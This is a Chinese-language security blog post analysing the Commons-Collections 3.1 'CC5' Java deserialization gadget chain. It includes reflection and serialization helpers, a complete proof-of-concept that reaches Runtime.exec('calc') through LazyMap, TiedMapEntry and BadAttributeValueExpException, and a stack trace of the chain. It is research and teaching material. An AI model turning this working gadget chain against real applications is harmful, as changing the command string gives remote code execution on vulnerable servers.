『Java安全』反序列化-CC5反序列化漏洞POP链分析_ysoserial CommonsCollections5 PoC分析_java c1-c5漏洞

前言

由于jdk8修复了AnnotationInvokerHandler，cc1用不了了

cc5在cc1点基础上做了小的改进，还是使用Commons-Collections 3.1，jdk8适用

代码复现

工具类

反射get/set：

ReflectPacked/ValueGetterSetter.java

package ReflectPacked;

import java.lang.reflect.Field;

public class ValueGetterSetter {
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static Object getValue(Object obj, String name) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        return field.get(obj);
    }
}

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---

反序列化：

UnserializePacked.Unserialize.java

package UnserializePacked;

import java.io.*;

public class Unserialize {
    public static void unserialize(Object obj) throws Exception{
        File f = File.createTempFile("temp", "out");

        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(f));
        oos.writeObject(obj);
        oos.close();

        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(f));
        Object o = ois.readObject();
        System.out.println(o);
        ois.close();

        f.deleteOnExit();
    }
}

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PoC

package cc.cc5;

import ReflectPacked.ValueGetterSetter;
import UnserializePacked.Unserialize;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.util.HashMap;
import java.util.Map;

public class PoC {
    public static void main(String[] args) throws Exception {
        ChainedTransformer chainedTransformer = new ChainedTransformer(
                new Transformer[]{
                        new ConstantTransformer(Runtime.class),
                        new InvokerTransformer(
                                "getMethod",
                                new Class[]{
                                        String.class,
                                        Class[].class
                                },
                                new Object[]{
                                       "getRuntime",
                                       new Class[0]
                                }
                        ),
                        new InvokerTransformer(
                                "invoke",
                                new Class[]{
                                        Object.class,
                                        Object[].class
                                },
                                new Object[]{
                                        null,
                                        new Object[0]
                                }
                        ),
                        new InvokerTransformer(
                                "exec",
                                new Class[]{
                                        String.class
                                },
                                new Object[]{
                                        "calc"
                                }
                        )

                }
        );
        Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "a");

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        ValueGetterSetter.setValue(badAttributeValueExpException, "val", tiedMapEntry);

        Unserialize.unserialize(badAttributeValueExpException);
    }
}

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代码审计 | 原理分析

前半部分和cc1原理一致不做分析了，只分析改进的地方

1. LazyMap.get()调用this.factory.transform()

2. TiedMapEntry.toString()调用this.map.get()

TiedMapEntry的构造器需要传入map和key

然后它的toString方法调用了this.map.get(key)

传入map是LazyMap刚好能触发

3. BadAttributeValueExpException反序列化触发this.val.toString()

ROME反序列化就是用了这个类

『Java安全』反序列化-Rome 1.0反序列化POP链分析_ysoserial Rome payload分析

反射赋值即可

POP链

transform:121, ChainedTransformer (org.apache.commons.collections.functors)
get:151, LazyMap (org.apache.commons.collections.map)
getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue)
toString:131, TiedMapEntry (org.apache.commons.collections.keyvalue)
readObject:86, BadAttributeValueExpException (javax.management)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadObject:1058, ObjectStreamClass (java.io)
readSerialData:1909, ObjectInputStream (java.io)
readOrdinaryObject:1808, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
unserialize:14, Unserialize (UnserializePacked)
main:61, PoC (cc.cc5)
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完

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